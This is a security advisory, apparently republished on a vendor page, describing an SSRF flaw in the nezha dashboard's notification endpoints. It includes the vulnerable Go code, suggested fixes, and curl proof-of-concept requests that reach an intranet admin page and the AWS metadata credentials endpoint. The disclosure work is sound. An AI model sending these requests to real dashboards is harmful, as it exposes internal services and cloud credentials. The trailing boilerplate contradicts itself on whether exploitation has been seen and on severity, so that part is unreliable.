Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-w4g9-mxgg-j532
No affected components available
Summary
nezha's dashboard supports two user roles: RoleAdmin (Role==0) and RoleMember (Role==1). The notification routes POST /api/v1/notification and PATCH /api/v1/notification/:id are wired through commonHandler rather than adminHandler — so a RoleMember user can call them. These handlers synchronously Send() an HTTP request to a user-controlled URL and reflect the entire response body (no size limit) back to the caller on any non-2xx response.
Net effect: a low-privilege RoleMember can read intranet HTTP response bodies via the dashboard's hub.
Affected versions
Commit 50dc8e660326b9f22990898142c58b7a5312b42a and earlier on master.
Reachability chain
cmd/dashboard/controller/controller.go:121-122
auth.GET("/notification", listHandler(listNotification))
auth.POST("/notification", commonHandler(createNotification)) // <-- commonHandler, not adminHandler
For comparison, /user routes ARE gated by adminHandler:
auth.GET("/user", adminHandler(listUser))
auth.POST("/user", adminHandler(createUser))
auth.POST("/batch-delete/user", adminHandler(batchDeleteUser))
adminHandler (controller.go:220-236) explicitly enforces user.Role.IsAdmin(). commonHandler (controller.go:214-218) does not.
The vulnerable handler
// cmd/dashboard/controller/notification.go:46-83
func createNotification(c *gin.Context) (uint64, error) {
var nf model.NotificationForm
if err := c.ShouldBindJSON(&nf); err != nil { return 0, err }
var n model.Notification
n.UserID = getUid(c)
n.Name = nf.Name
n.RequestMethod = nf.RequestMethod
n.RequestType = nf.RequestType
n.RequestHeader = nf.RequestHeader
n.RequestBody = nf.RequestBody
n.URL = nf.URL
...
ns := model.NotificationServerBundle{Notification: &n, Server: nil, Loc: singleton.Loc}
if !nf.SkipCheck {
if err := ns.Send(singleton.Localizer.T("a test message")); err != nil {
return 0, err // <-- err.Error() reflects up to caller via newErrorResponse
}
}
...
}
Identical pattern in updateNotification (PATCH /notification/:id) at lines 97-146.
The reflection sink
// model/notification.go:113-159
func (ns *NotificationServerBundle) Send(message string) error {
var client *http.Client
n := ns.Notification
if n.VerifyTLS != nil && *n.VerifyTLS {
client = utils.HttpClient
} else {
client = utils.HttpClientSkipTlsVerify
}
reqBody, err := ns.reqBody(message)
if err != nil { return err }
reqMethod, err := n.reqMethod()
if err != nil { return err }
req, err := http.NewRequest(reqMethod, ns.reqURL(message), strings.NewReader(reqBody))
if err != nil { return err }
n.setContentType(req)
if err := n.setRequestHeader(req); err != nil { return err }
resp, err := client.Do(req)
if err != nil { return err }
defer func() { _ = resp.Body.Close() }()
if resp.StatusCode < 200 || resp.StatusCode > 299 {
body, _ := io.ReadAll(resp.Body) // <-- NO io.LimitReader
return fmt.Errorf("%d@%s %s", resp.StatusCode, resp.Status, string(body))
} else {
_, _ = io.Copy(io.Discard, resp.Body)
}
return nil
}
The full body (no size limit) is concatenated into an error string. That error flows through commonHandler → handle() → newErrorResponse(err) → c.JSON(http.StatusOK, ...). The intranet response body is JSON-encoded back to the RoleMember caller.
Additional wrinkle: client = utils.HttpClientSkipTlsVerify when VerifyTLS is false — attacker-controlled. So the SSRF works against TLS endpoints too, ignoring cert validation.
PoC
A. Read intranet admin-panel response body
curl -X POST -H "Authorization: Bearer <member-jwt>" \
-H "Content-Type: application/json" \
-d '{"name":"x","url":"http://192.168.1.1/admin/index.html","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' \
http://nezha-dashboard.example.com/api/v1/notification
Response:
{"success":false,"error":"401@Unauthorized <full HTML body of the admin login page, no size limit>"}
B. AWS IMDSv2 reachability + body leak
curl -X POST -H "Authorization: Bearer <member-jwt>" \
-H "Content-Type: application/json" \
-d '{"name":"x","url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' \
http://nezha-dashboard.example.com/api/v1/notification
IMDSv2 returns 401 with a body explaining the missing token; that body is reflected.
C. DoS via large internal file
Because the body is read via unbounded io.ReadAll, a RoleMember pointing at any internal large-file URL (logs, package mirrors, video) blows up dashboard memory.
Suggested fix
-
Switch /notification routes to
adminHandler. Same fix for/alert-rule,/cron,/ddnsif they also issue user-URL requests synchronously. Compare with how/useris already guarded.auth.POST("/notification", adminHandler(createNotification)) auth.PATCH("/notification/:id", adminHandler(updateNotification)) -
SSRF-harden
NotificationServerBundle.Send():- Resolve URL host once via
net.LookupIP; refuse private/loopback/link-local/CGNAT. - Pin
http.Transport.DialContextto the resolved IP — closes DNS-rebinding TOCTOU. - Refuse non-http(s) schemes.
- Resolve URL host once via
-
Cap response body:
io.LimitReader(resp.Body, 4096). 4 KB is plenty for surfacing webhook errors. -
Reconsider
VerifyTLS=falsetoggle on RoleMember-reachable paths — if the route remains member-reachable, at minimum cert validation should be enforced.
Severity
- CVSS 3.1: Medium —
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L≈ 6.4. PR:L because attacker needs aRoleMemberaccount (admin-issued). C:L because intranet response bodies can be read but typically not full credentials. A:L because of the unbounded body-read DoS. - Auth: authenticated
RoleMember(Role == 1).
Reproduction environment
- Tested against:
nezhahq/nezha:v0.x(commit50dc8e660326b9f22990898142c58b7a5312b42a). - Code locations:
- Handler:
cmd/dashboard/controller/notification.go:46-83, 97-146 - Sink:
model/notification.go:113-159 - Auth gate:
cmd/dashboard/controller/controller.go:121-122(commonHandler), 214-236 (handler defs)
- Handler:
Reporter
Eddie Ran. Filed via reporter API (PVR enabled). nezha's SECURITY.md mentions email hi@nai.ba for vulnerability reports — happy to also send via email if the maintainer prefers.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a low impact on the integrity of the data.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard